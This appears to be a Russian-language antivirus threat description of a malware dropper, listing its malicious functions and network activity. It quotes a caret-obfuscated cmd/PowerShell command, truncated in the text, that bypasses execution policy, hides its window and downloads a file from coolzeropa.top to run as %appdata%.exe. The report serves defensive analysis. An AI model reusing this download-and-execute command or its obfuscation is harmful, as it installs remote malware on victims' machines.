Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OwERsh^E^l^l^.^Ex^e -eX^e^C^utI^o^N^PoL^icY^ bYPa^S^s -^nOp^ro^FIl^E -^W^i^ND^Ow^stYLE H^IDdEn ^(new-objEC^T^ ^s^ystem.NET^.WE^b^ClienT)^.Dow^nlO^AdfI^L^e^('http://coolzeropa...
Сетевая активность
UDP
- DNS ASK co###eropa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OwERsh^E^l^l^.^Ex^e -eX^e^C^utI^o^N^PoL^icY^ bYPa^S^s -^nOp^ro^FIl^E -^W^i^ND^Ow^stYLE H^IDdEn ^(new-objEC^T^ ^s^ystem.NET^.WE^b^ClienT)^.Dow^nlO^AdfI^L^e^('http://coolzeropa...' (со скрытым окном)
